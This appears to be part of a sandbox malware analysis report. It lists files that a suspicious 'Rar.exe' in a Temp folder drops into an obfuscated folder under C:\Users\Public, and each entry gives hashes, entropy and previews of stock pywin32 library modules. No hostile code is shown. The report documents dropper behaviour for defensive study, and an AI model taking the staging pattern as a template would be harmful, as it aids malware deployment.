Preview:	# Generated by h2py from stdin.TCS_MULTILINE = 0x0200.CBRS_ALIGN_LEFT = 0x1000.CBRS_ALIGN_TOP = 0x2000.CBRS_ALIGN_RIGHT = 0x4000.CBRS_ALIGN_BOTTOM = 0x8000.CBRS_ALIGN_ANY = 0xF000.CBRS_BORDER_LEFT = 0x0100.CBRS_BORDER_TOP = 0x0200.CBRS_BORDER_RIGHT = 0x0400.CBRS_BORDER_BOTTOM = 0x0800.CBRS_BORDER_ANY = 0x0F00.CBRS_TOOLTIPS = 0x0010.CBRS_FLYBY = 0x0020.CBRS_FLOAT_MULTI = 0x0040.CBRS_BORDER_3D = 0x0080.CBRS_HIDE_INPLACE = 0x0008.CBRS_SIZE_DYNAMIC = 0x0004.CBRS_SIZE_FIXED = 0x0002.CBRS_FLOATING = 0x0001.CBRS_GRIPPER = 0x00400000.CBRS_ORIENT_HORZ = CBRS_ALIGN_TOP \| CBRS_ALIGN_BOTTOM.CBRS_ORIENT_VERT = CBRS_ALIGN_LEFT \| CBRS_ALIGN_RIGHT.CBRS_ORIENT_ANY = CBRS_ORIENT_HORZ \| CBRS_ORIENT_VERT.CBRS_ALL = 0xFFFF.CBRS_NOALIGN = 0x00000000.CBRS_LEFT = CBRS_ALIGN_LEFT \| CBRS_BORDER_RIGHT.CBRS_TOP = CBRS_ALIGN_TOP \| CBRS_BORDER_BOTTOM.CBRS_RIGHT = CBRS_ALIGN_RIGHT \| CBRS_BORDER_LEFT.CBRS_BOTTOM = CBRS_ALIGN_BOTTOM \| CBRS_BORDER_TOP.SBPS_NORMAL = 0x0000.SBPS_NOBORDERS = 0x0100.SBPS_POPOUT = 0x0200.SB

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\commctrl.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	46158
Entropy (8bit):	5.115928989304851
Encrypted:	false
SSDEEP:	768:uWtH81fEtJlkArPaYMuFRRuBa2y+A+W50QFZL34uyEY8EYlCrVicdsAQy9gX35Z5:BtH81S2UFRRuQ/+oC6ykZYZW
MD5:	EF5F49B57CECD42E54C4533860FB3A3A
SHA1:	48FDEA29160EFC44107120AE30E3E2FE00D18FDC
SHA-256:	0E600EB9AEDF442AFA9476E1FDB3C6D9C76B7A58114DBEC736AC0060765E7D4E
SHA-512:	2F3DBB1102159766DF64C517CDF45296B5AFE1F63176964156C75976CEE1C06B7C5A7B9B662F2BB86841CE5C3032881701C8552EDB7CED48FA5AC035E3E92A89
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from COMMCTRL.H.WM_USER = 1024.ICC_LISTVIEW_CLASSES = 1 # listview, header.ICC_TREEVIEW_CLASSES = 2 # treeview, tooltips.ICC_BAR_CLASSES = 4 # toolbar, statusbar, trackbar, tooltips.ICC_TAB_CLASSES = 8 # tab, tooltips.ICC_UPDOWN_CLASS = 16 # updown.ICC_PROGRESS_CLASS = 32 # progress.ICC_HOTKEY_CLASS = 64 # hotkey.ICC_ANIMATE_CLASS = 128 # animate.ICC_WIN95_CLASSES = 255.ICC_DATE_CLASSES = 256 # month picker, date picker, time picker, updown.ICC_USEREX_CLASSES = 512 # comboex.ICC_COOL_CLASSES = 1024 # rebar (coolbar) control.ICC_INTERNET_CLASSES = 2048.ICC_PAGESCROLLER_CLASS = 4096 # page scroller.ICC_NATIVEFNTCTL_CLASS = 8192 # native font control.ODT_HEADER = 100.ODT_TAB = 101.ODT_LISTVIEW = 102.PY_0U = 0.NM_FIRST = PY_0U # generic to all controls.NM_LAST = PY_0U - 99.LVN_FIRST = PY_0U - 100 # listview.LVN_LAST = PY_0U - 199.HDN_FIRST = PY_0U - 300 # header.HDN_LAST = PY_0U - 399.TVN_FIRST = PY_0U - 400 # treeview.TVN_LAST = PY_0U - 499.TTN_FIRST =

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\dbi.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	713
Entropy (8bit):	4.602382429472932
Encrypted:	false
SSDEEP:	12:OV5MqI03+JYspXHXPENQoSE9Xx5rX4m5AeTbTq2LaF5epDlDDDBrqXzU10Pr3Il:OVFIO+KsNMNQoS6Xx5D4XeTy8O5evDMa
MD5:	A17F92FB3695DC91A1B9042653DD2D0D
SHA1:	8DAC5D28EC5A645225741837FC9429BE04B08E26
SHA-256:	BE551C7BF0FCFF0736C0C8D5646F6976D22F912EA0B450CF9DF6EFF2E41F73B4
SHA-512:	4BEC3127FA494DD657EC02F297B9249BCD23DBC09506C3E3D0368B76EBD1FB3A0B0B5719A0420D3A204E173467FBCB6AFBB2E927E080C00010439354A057DD3F
Malicious:	false
Reputation:	low
Preview:	""".Skeleton replacement for removed dbi module..Use of objects created by this module should be replaced with native Python objects..Dates are now returned as datetime.datetime objects, but will still accept PyTime.objects also..Raw data for binary fields should be passed as buffer objects for Python 2.x,.and memoryview objects in Py3k.."""..import warnings..warnings.warn(. "dbi module is obsolete, code should now use native python datetime and buffer/memoryview objects",. DeprecationWarning,.)..import datetime..dbDate = dbiDate = datetime.datetime..try:. dbRaw = dbiRaw = buffer.except NameError:. dbRaw = dbiRaw = memoryview..# type names are still exported by odbc module.from odbc import *.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\mmsystem.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	30389
Entropy (8bit):	4.7770341275289425
Encrypted:	false
SSDEEP:	768:RKDYDaTFMojf23KJIi8njbxqVQNGTe1NuNN85:S4sf23K6i8n/0VQR
MD5:	875D9E40BE44575D4BB3FE3967976DED
SHA1:	B2F4B378C918D0F6329087E6103DEC19A32793AC
SHA-256:	930DBD298A1A246A9D8060467E06DFB729BAFDFF0E0FE98EAD3352CFFB6F81B0
SHA-512:	C27055A00FFCC17D0E362F2A9D61347CED34BFFD12CDBFF1987684ED0641CC86718EB26E2E80AEE8E80BCF9394DEA85B63931EF62EF9390B2AE61A0E4A7056B7
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from d:/msdev/include/mmsystem.h.MAXPNAMELEN = 32.MAXERRORLENGTH = 256.MAX_JOYSTICKOEMVXDNAME = 260.MM_MICROSOFT = 1.MM_MIDI_MAPPER = 1.MM_WAVE_MAPPER = 2.MM_SNDBLST_MIDIOUT = 3.MM_SNDBLST_MIDIIN = 4.MM_SNDBLST_SYNTH = 5.MM_SNDBLST_WAVEOUT = 6.MM_SNDBLST_WAVEIN = 7.MM_ADLIB = 9.MM_MPU401_MIDIOUT = 10.MM_MPU401_MIDIIN = 11.MM_PC_JOYSTICK = 12.TIME_MS = 0x0001.TIME_SAMPLES = 0x0002.TIME_BYTES = 0x0004.TIME_SMPTE = 0x0008.TIME_MIDI = 0x0010.TIME_TICKS = 0x0020.MM_JOY1MOVE = 0x3A0.MM_JOY2MOVE = 0x3A1.MM_JOY1ZMOVE = 0x3A2.MM_JOY2ZMOVE = 0x3A3.MM_JOY1BUTTONDOWN = 0x3B5.MM_JOY2BUTTONDOWN = 0x3B6.MM_JOY1BUTTONUP = 0x3B7.MM_JOY2BUTTONUP = 0x3B8.MM_MCINOTIFY = 0x3B9.MM_WOM_OPEN = 0x3BB.MM_WOM_CLOSE = 0x3BC.MM_WOM_DONE = 0x3BD.MM_WIM_OPEN = 0x3BE.MM_WIM_CLOSE = 0x3BF.MM_WIM_DATA = 0x3C0.MM_MIM_OPEN = 0x3C1.MM_MIM_CLOSE = 0x3C2.MM_MIM_DATA = 0x3C3.MM_MIM_LONGDATA = 0x3C4.MM_MIM_ERROR = 0x3C5.MM_MIM_LONGERROR = 0x3C6.MM_MOM_OPEN = 0x3C7.MM_MOM_CLOSE = 0x3C8.MM_MOM_DONE = 0x3C9.M

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\netbios.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6948
Entropy (8bit):	5.17742075576656
Encrypted:	false
SSDEEP:	192:kWxBIR46qdgb42yLuDTPhU1Wn5l2z0/LDyWnhyWACyWkhyWvgyWmyWshyWkEyWR9:kWxBIR4tpxLuDTPrkGPaWYQx
MD5:	D613CD1C4C09BCB74DAC2B3044AF08F2
SHA1:	79434FC6AEB15EA86A9CCC16225035AB23A1239A
SHA-256:	A56A021FC24320BEB5EC5F046E7CC758FF3A0306E3D800B0252FCF8CFE661DB3
SHA-512:	F00552644D534CE8E7B69E9C993BB9283FA1F3BE8BB5A3E4864F5A71CB2EF2DD0DFB700127284EA4669FD479F8560FF007DA0AD1B0EB785523A416D87E8121F5
Malicious:	false
Reputation:	low
Preview:	import struct.import sys..import win32wnet..# Constants generated by h2py from nb30.h.NCBNAMSZ = 16.MAX_LANA = 254.NAME_FLAGS_MASK = 0x87.GROUP_NAME = 0x80.UNIQUE_NAME = 0x00.REGISTERING = 0x00.REGISTERED = 0x04.DEREGISTERED = 0x05.DUPLICATE = 0x06.DUPLICATE_DEREG = 0x07.LISTEN_OUTSTANDING = 0x01.CALL_PENDING = 0x02.SESSION_ESTABLISHED = 0x03.HANGUP_PENDING = 0x04.HANGUP_COMPLETE = 0x05.SESSION_ABORTED = 0x06.ALL_TRANSPORTS = "M\0\0\0".MS_NBF = "MNBF".NCBCALL = 0x10.NCBLISTEN = 0x11.NCBHANGUP = 0x12.NCBSEND = 0x14.NCBRECV = 0x15.NCBRECVANY = 0x16.NCBCHAINSEND = 0x17.NCBDGSEND = 0x20.NCBDGRECV = 0x21.NCBDGSENDBC = 0x22.NCBDGRECVBC = 0x23.NCBADDNAME = 0x30.NCBDELNAME = 0x31.NCBRESET = 0x32.NCBASTAT = 0x33.NCBSSTAT = 0x34.NCBCANCEL = 0x35.NCBADDGRNAME = 0x36.NCBENUM = 0x37.NCBUNLINK = 0x70.NCBSENDNA = 0x71.NCBCHAINSENDNA = 0x72.NCBLANSTALERT = 0x73.NCBACTION = 0x77.NCBFINDNAME = 0x78.NCBTRACE = 0x79.ASYNCH = 0x80.NRC_GOODRET = 0x00.NRC_BUFLEN = 0x01.NRC_ILLCMD = 0x03.NRC_CMDTMO = 0x05.NRC

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\ntsecuritycon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	22344
Entropy (8bit):	5.171445425681835
Encrypted:	false
SSDEEP:	192:36TxDCxTO5M0TX1w8DWlhhVFJwXJWKSM7NvBkYnn62jeHXBheO4ZLMGldeiDSOhu:3cpdSiNvmYnn62AXBhz4FM+deioh
MD5:	ACDBB2AB8B92D9CCEFBB4CCD12E6D070
SHA1:	FD78B196A79FB1C24299F6BBA689B0CB478EECA9
SHA-256:	FE53CAA6C8A2F7CA98BCAFA3427779BBCA69ED29481B4DEAA7E5FA3AA8B0E6A3
SHA-512:	D189AA75D396B8ADF47AE910B09A8654CC878B784A30883A075DAF9CE87628213B96038E72A1C37DE9C0EECAD21088DF864057C874C24C1F3D22317122D5D289
Malicious:	false
Reputation:	low
Preview:	# Hacked from winnt.h..DELETE = 65536.READ_CONTROL = 131072.WRITE_DAC = 262144.WRITE_OWNER = 524288.SYNCHRONIZE = 1048576.STANDARD_RIGHTS_REQUIRED = 983040.STANDARD_RIGHTS_READ = READ_CONTROL.STANDARD_RIGHTS_WRITE = READ_CONTROL.STANDARD_RIGHTS_EXECUTE = READ_CONTROL.STANDARD_RIGHTS_ALL = 2031616.SPECIFIC_RIGHTS_ALL = 65535.ACCESS_SYSTEM_SECURITY = 16777216.MAXIMUM_ALLOWED = 33554432.GENERIC_READ = -2147483648.GENERIC_WRITE = 1073741824.GENERIC_EXECUTE = 536870912.GENERIC_ALL = 268435456..# file security permissions.FILE_READ_DATA = 1.FILE_LIST_DIRECTORY = 1.FILE_WRITE_DATA = 2.FILE_ADD_FILE = 2.FILE_APPEND_DATA = 4.FILE_ADD_SUBDIRECTORY = 4.FILE_CREATE_PIPE_INSTANCE = 4.FILE_READ_EA = 8.FILE_WRITE_EA = 16.FILE_EXECUTE = 32.FILE_TRAVERSE = 32.FILE_DELETE_CHILD = 64.FILE_READ_ATTRIBUTES = 128.FILE_WRITE_ATTRIBUTES = 256.FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED \| SYNCHRONIZE \| 511.FILE_GENERIC_READ = (. STANDARD_RIGHTS_READ. \| FILE_READ_DATA. \| FILE_READ_ATTRIBUTES. \| FILE_

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pywin32_bootstrap.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1283
Entropy (8bit):	4.661736923288396
Encrypted:	false
SSDEEP:	24:++iqs0ePxlBfU3Yc3pRFN9qz7HuL2JSRhm88pFratv1oPM2j2CK2aV4bo/n2123:+7PXq3xp3N9q3HaDGFrawXyC9PE3
MD5:	5D28A84AA364BCD31FDB5C5213884EF7
SHA1:	0874DCA2AD64E2C957B0A8FD50588FB6652DD8EE
SHA-256:	E298DDCFCB0232257FCAA330844845A4E7807C4E2B5BD938929ED1791CD9D192
SHA-512:	24C1AD9CE1D7E7E3486E8111D8049EF1585CAB17B97D29C7A4EB816F7BDF34406AA678F449F8C680B7F8F3F3C8BC164EDAC95CCB15DA654EF9DF86C5BEB199A5
Malicious:	false
Reputation:	low
Preview:	# Imported by pywin32.pth to bootstrap the pywin32 environment in "portable".# environments or any other case where the post-install script isn't run..#.# In short, there's a directory installed by pywin32 named 'pywin32_system32'.# with some important DLLs which need to be found by Python when some pywin32.# modules are imported..# If Python has `os.add_dll_directory()`, we need to call it with this path..# Otherwise, we add this path to PATH....try:. import pywin32_system32.except ImportError: # Python .3.6: replace ImportError with ModuleNotFoundError. pass.else:. import os.. # We're guaranteed only that __path__: Iterable[str]. # https://docs.python.org/3/reference/import.html#__path__. for path in pywin32_system32.__path__:. if os.path.isdir(path):. if hasattr(os, "add_dll_directory"):. os.add_dll_directory(path). # This is to ensure the pywin32 path is in the beginning to find the. # pywin32 DLLs first an

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pywin32_testutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	11552
Entropy (8bit):	4.499300065894434
Encrypted:	false
SSDEEP:	192:62xH/42BdXjaMMhqH0eRhAcjWKTR7AXTv3Hm5z:66H62H0khAOXV0XTvm5z
MD5:	9C5202F60D6DA913C7CAF90DC9373281
SHA1:	9F961266AE675DDF9C5FF9AB5047C9D7ECEAAF6A
SHA-256:	79AB4108C89ACA419476CE9B96F32966800A3FC159812C10B1AE1E3E67DF2FB5
SHA-512:	6D3C07C23A2DCF7838B8D2B2D545598C5B5EADC62370571C824EDB6CA0A2B31222E1E713B5FBBDFA8F86ACF8161D2C134CDA4A1442FB44BD7BBA240FD55F0DC1
Malicious:	false
Reputation:	low
Preview:	# Utilities for the pywin32 tests.import gc.import os.import site.import sys.import unittest..import winerror..##.## General purpose utilities for the test suite..##...# The test suite has lots of string constants containing binary data, but.# the strings are used in various "bytes" contexts..def str2bytes(sval):. if sys.version_info < (3, 0) and isinstance(sval, str):. sval = sval.decode("latin1"). return sval.encode("latin1")...# Sometimes we want to pass a string that should explicitly be treated as.# a memory blob..def str2memory(sval):. if sys.version_info < (3, 0):. return buffer(sval). # py3k.. return memoryview(sval.encode("latin1"))...# Sometimes we want to pass an object that exposes its memory.def ob2memory(ob):. if sys.version_info < (3, 0):. return buffer(ob). # py3k.. return memoryview(ob)...##.## unittest related stuff.##...# This is a specialized TestCase adaptor which wraps a real test..class LeakTestCase(unittest.TestCase):

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\pywintypes.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	magic text file for file(1) cmd, ASCII text
Category:	dropped
Size (bytes):	5938
Entropy (8bit):	4.44618870200388
Encrypted:	false
SSDEEP:	96:QWrCPU5+9J3RONAy1jeBPAVkJzjAhF2hAbXxM/ADIWaDyRkI+oiCG/Ym:Q/PU5OQD04VkZEh1OI8FyFApYm
MD5:	B4FB724E0920809325DC40BC7E7C2813
SHA1:	3C5F3D8966E28C14757B64E5E4BE521DCAFC51F9
SHA-256:	298DCE6680D5005FE34240C6AAC3547D98FEFC33A0C4DB5E9F0A32C284ED09B4
SHA-512:	5D03A2D921FD49667D88A0D99D457B74F863B6F4F8FBB3620030EB44CDAEAEFCD82F7DABFA5E634A29528ABCB17D4E125868CC52835A3CE0BFC67A1770AC38FA
Malicious:	false
Reputation:	low
Preview:	# Magic utility that "redirects" to pywintypesxx.dll.import importlib.machinery.import importlib.util.import os.import sys...def __import_pywin32_system_module__(modname, globs):. # This has been through a number of iterations. The problem: how to. # locate pywintypesXX.dll when it may be in a number of places, and how. # to avoid ever loading it twice. This problem is compounded by the. # fact that the "right" way to do this requires win32api, but this. # itself requires pywintypesXX.. # And the killer problem is that someone may have done 'import win32api'. # before this code is called. In that case Windows will have already. # loaded pywintypesXX as part of loading win32api - but by the time. # we get here, we may locate a different one. This appears to work, but. # then starts raising bizarre TypeErrors complaining that something. # is not a pywintypes type when it clearly is!.. # So in what we hope is the last major iteration of this, we now

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\rasutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	4.998195255193026
Encrypted:	false
SSDEEP:	48:75h575T5L0y5T5Z5HZ5r5R5dL5/5X5OI5cy5X5h5+HkJ5EO5g0587O5D5/5575ch:7b1dh1TLVjf5pB9xLgHkJyO+067OtbFW
MD5:	5DEDB350BE4D6433395E5A20DD87CCD9
SHA1:	3B0C06BEB7F09AAFD16D9B76266C1D942A1AEA56
SHA-256:	163BA151CB3D18957BDFC6FCECD5B733F679BCCD6F7E70A902E9327AE0152546
SHA-512:	F43F5E3436E00447808737D1A2EF3BBD1817FD9F53066707552154A9747BC3B77861C4EDB9E398D15B46E4B946F8B62E7392D28BE3F0199C12AA2E188055987A
Malicious:	false
Reputation:	low
Preview:	import win32ras..stateStrings = {. win32ras.RASCS_OpenPort: "OpenPort",. win32ras.RASCS_PortOpened: "PortOpened",. win32ras.RASCS_ConnectDevice: "ConnectDevice",. win32ras.RASCS_DeviceConnected: "DeviceConnected",. win32ras.RASCS_AllDevicesConnected: "AllDevicesConnected",. win32ras.RASCS_Authenticate: "Authenticate",. win32ras.RASCS_AuthNotify: "AuthNotify",. win32ras.RASCS_AuthRetry: "AuthRetry",. win32ras.RASCS_AuthCallback: "AuthCallback",. win32ras.RASCS_AuthChangePassword: "AuthChangePassword",. win32ras.RASCS_AuthProject: "AuthProject",. win32ras.RASCS_AuthLinkSpeed: "AuthLinkSpeed",. win32ras.RASCS_AuthAck: "AuthAck",. win32ras.RASCS_ReAuthenticate: "ReAuthenticate",. win32ras.RASCS_Authenticated: "Authenticated",. win32ras.RASCS_PrepareForCallback: "PrepareForCallback",. win32ras.RASCS_WaitForModemReset: "WaitForModemReset",. win32ras.RASCS_WaitForCallback: "WaitForCallback",. win32ras.RASCS_Projected: "Projected",. w

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\regcheck.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	4484
Entropy (8bit):	4.387225499230269
Encrypted:	false
SSDEEP:	96:CDAgwu0aLSqlU0HNrIvqtHR4jUa6wRyC6jSJU9zyoMuMw2mS2Sr33bD8:QAHwq0Sgx4zHPlr33bD8
MD5:	CFA098F4BF2CBC4604EA85902A1FA94A
SHA1:	C84C5E01878ED40FC2BC8EA6EE7065EB9D8694F8
SHA-256:	4513AC3EB7FEE4A80B0D285FA881B94CD1490C17C7C293349976EB7FC0BB5EF3
SHA-512:	8FEAF8C8A4A93E64ACBAF22431CAA77D74F17E53D317665E593CCF9265C513B798A95B28FF7ED2272C6C5CF568A199C5DCB4897BD40159E70C64DDC792CF540B
Malicious:	false
Reputation:	low
Preview:	# This module is very old and useless in this day and age! It will be.# removed in a few years (ie, 2009 or so...)..import warnings..warnings.warn(. "The regcheck module has been pending deprecation since build 210",. category=PendingDeprecationWarning,.)..import os.import sys..import regutil.import win32api.import win32con...def CheckRegisteredExe(exename):. try:. os.stat(. win32api.RegQueryValue(. regutil.GetRootKey(), regutil.GetAppPathsKey() + "\\" + exename. ). ). # .except SystemError:. except (os.error, win32api.error):. print("Registration of %s - Not registered correctly" % exename)...def CheckPathString(pathString):. for path in pathString.split(";"):. if not os.path.isdir(path):. return "'%s' is not a valid directory!" % path. return None...def CheckPythonPaths(verbose):. if verbose:. print("Python Paths:"). # Check the core path. if verbose:. print("\tCor

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\regutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12341
Entropy (8bit):	4.867163934678907
Encrypted:	false
SSDEEP:	384:s0Nxfa7aaG6JxIJ/Erq2K5I0OwWhwA4ob67joc2klFaD4rYtbl:s0NxCmaG6JxIJ/Er25I0OwWhwA4ob67g
MD5:	2526CDC3EE6341EC163D8C4A1682279C
SHA1:	9C59136C2F1510EDCF495F951A32A0EEA63C6275
SHA-256:	0E4EC545FA05064142368E6501152DC290520675343149F299BBE994D6C5B65D
SHA-512:	7A26252FEC5FB54A89C10AD26EABFD7BECFF1FB7F9336157E3657497C16D000011DD981C5DAE2A086DCD96FE99A4FA46CD908BCA07645D247800643BAEE7D796
Malicious:	false
Reputation:	low
Preview:	# Some registry helpers..import os.import sys..import win32api.import win32con..error = "Registry utility error"..# A .py file has a CLSID associated with it (why? - dunno!).CLSIDPyFile = "{b51df050-06ae-11cf-ad3b-524153480001}"..RegistryIDPyFile = "Python.File" # The registry "file type" of a .py file.RegistryIDPycFile = "Python.CompiledFile" # The registry "file type" of a .pyc file...def BuildDefaultPythonKey():. """Builds a string containing the path to the current registry key... The Python registry key contains the Python version. This function. uses the version of the DLL used by the current process to get the. registry key currently in use.. """. return "Software\\Python\\PythonCore\\" + sys.winver...def GetRootKey():. """Retrieves the Registry root in use by Python.""". keyname = BuildDefaultPythonKey(). try:. k = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyname). k.close(). return win32con.HKEY_CURRENT_USER. except

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\sspi.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15590
Entropy (8bit):	4.735360635701188
Encrypted:	false
SSDEEP:	192:8EYAX708RP3gd3dP3gsfHhS3R3tFoS3Ry1OHg2TDEG9m4p2IuEIYE0x8GwOyrtPI:oALGJHuFkOv6G5zlXszHPnqj
MD5:	03D230AD5621621A0B38C15DB6B56DD0
SHA1:	D88B7924743BC73412ED75C2209BDC71CD0D3792
SHA-256:	9E9BDAB113FA4909689D17E8888090460684290E4F2D1F7C19897546C6AEDB00
SHA-512:	13B3D3478F1CCF0B746059B6E62E3A4B8FA069CB25C9A2C3F57AAF90033066B32034F6DB204143717D986972ED261E627B4C03D26EBEC311636A5B1249E4B419
Malicious:	false
Reputation:	low
Preview:	""".Helper classes for SSPI authentication via the win32security module...SSPI authentication involves a token-exchange "dance", the exact details.of which depends on the authentication provider used. There are also.a number of complex flags and constants that need to be used - in most.cases, there are reasonable defaults...These classes attempt to hide these details from you until you really need.to know. They are not designed to handle all cases, just the common ones..If you need finer control than offered here, just use the win32security.functions directly..""".# Based on Roger Upole's sspi demos..# $Id$.import sspicon.import win32security..error = win32security.error...class _BaseAuth(object):. def __init__(self):. self.reset().. def reset(self):. """Reset everything to an unauthorized state""". self.ctxt = None. self.authenticated = False. self.initiator_name = None. self.service_name = None.. # The next seq_num for an encry

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\sspicon.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15697
Entropy (8bit):	5.075827160638741
Encrypted:	false
SSDEEP:	384:OcR7K/jSxpilZaMpRwnrvrzRIfPKCl60J0:OclaVwnrvrzfClrC
MD5:	9453DC2AD38FC69224C077BD945110D7
SHA1:	10D2438CA799BDDB8C59218EA12A1E68A321B66D
SHA-256:	403A89B99178441B8769DE753EF98447F73598F52E30701C81A37E4477B340E0
SHA-512:	70071F01B293949ACFA09C7909005363D5832A66FF9A1B43EA00B55A517CE6E2D566FC3B6068A932E19E0355EDA339427CE7BCD7A53568F19FBBEB19AE4C7475
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from c:\microsoft sdk\include\sspi.h.ISSP_LEVEL = 32.ISSP_MODE = 1...def SEC_SUCCESS(Status):. return (Status) >= 0...SECPKG_FLAG_INTEGRITY = 1.SECPKG_FLAG_PRIVACY = 2.SECPKG_FLAG_TOKEN_ONLY = 4.SECPKG_FLAG_DATAGRAM = 8.SECPKG_FLAG_CONNECTION = 16.SECPKG_FLAG_MULTI_REQUIRED = 32.SECPKG_FLAG_CLIENT_ONLY = 64.SECPKG_FLAG_EXTENDED_ERROR = 128.SECPKG_FLAG_IMPERSONATION = 256.SECPKG_FLAG_ACCEPT_WIN32_NAME = 512.SECPKG_FLAG_STREAM = 1024.SECPKG_FLAG_NEGOTIABLE = 2048.SECPKG_FLAG_GSS_COMPATIBLE = 4096.SECPKG_FLAG_LOGON = 8192.SECPKG_FLAG_ASCII_BUFFERS = 16384.SECPKG_FLAG_FRAGMENT = 32768.SECPKG_FLAG_MUTUAL_AUTH = 65536.SECPKG_FLAG_DELEGATION = 131072.SECPKG_FLAG_READONLY_WITH_CHECKSUM = 262144.SECPKG_ID_NONE = 65535..SECBUFFER_VERSION = 0.SECBUFFER_EMPTY = 0.SECBUFFER_DATA = 1.SECBUFFER_TOKEN = 2.SECBUFFER_PKG_PARAMS = 3.SECBUFFER_MISSING = 4.SECBUFFER_EXTRA = 5.SECBUFFER_STREAM_TRAILER = 6.SECBUFFER_STREAM_HEADER = 7.SECBUFFER_NEGOTIATION_INFO = 8.SECBUFFER_PADDING = 9

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win2kras.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	334
Entropy (8bit):	4.571035255295966
Encrypted:	false
SSDEEP:	6:SD4cBz3TqzKdD6Le/VieikwcBTAZ7XGap/892EtQCR6Uh286AI/kJln:A4cBeur/I8TBclvW2+sWl0kJl
MD5:	ABBC2A410CB902383B0DCC308BE715F3
SHA1:	9E177FF30F49DB4F20145671B5C9F88B278D3C3E
SHA-256:	F0467A1CA6FFC066C7ED283CDAE5D2EA76AEFE5B9CC21C3FE096B5D28C23765A
SHA-512:	3F5E10EF7C44FE6EF61ECD1CFB0FED21F5D9448C98291485917E0491F4F6EC904131894CA4D8E2425F08FA2FC18210CA4FB32191E8AB3336A9223A6DFB6AC5D9
Malicious:	false
Reputation:	low
Preview:	# win2kras used to be an extension module with wrapped the "new" RAS functions.# in Windows 2000, so win32ras could still be used on NT/etc..# I think in 2021 we can be confident pywin32 is not used on earlier OSs, so.# that functionality is now in win32ras..#.# This exists just to avoid breaking old scripts..from win32ras import *.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\win32con.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	117047
Entropy (8bit):	5.102756787103929
Encrypted:	false
SSDEEP:	1536:aYLzODfYiXGYvTVkcgURPpp0kcNXj3s1VrzieuVoIOSGrv+I23pwkeJyUYziNubq:BjVOmcgUbpSJjI1GeuDGv+rINubI2s
MD5:	6D9449506328201C05E643B0D4E65EA1
SHA1:	D1F20BB6928C5A6B4DE0EF48CC380D113C61AA90
SHA-256:	7DB98CEDA5CD93A5954A5434BD0D77A34825EC772400ED67037A8C87838BDDC7
SHA-512:	0209E9D59EFE0B2890CC5BBCEB1B447F408CA4BC84313B8E8A8C1B9235761A4EF15C5E737B626B1AE81D6CD4A39F194682227E415F30D664F15B5FCC06B28449
Malicious:	false
Reputation:	low
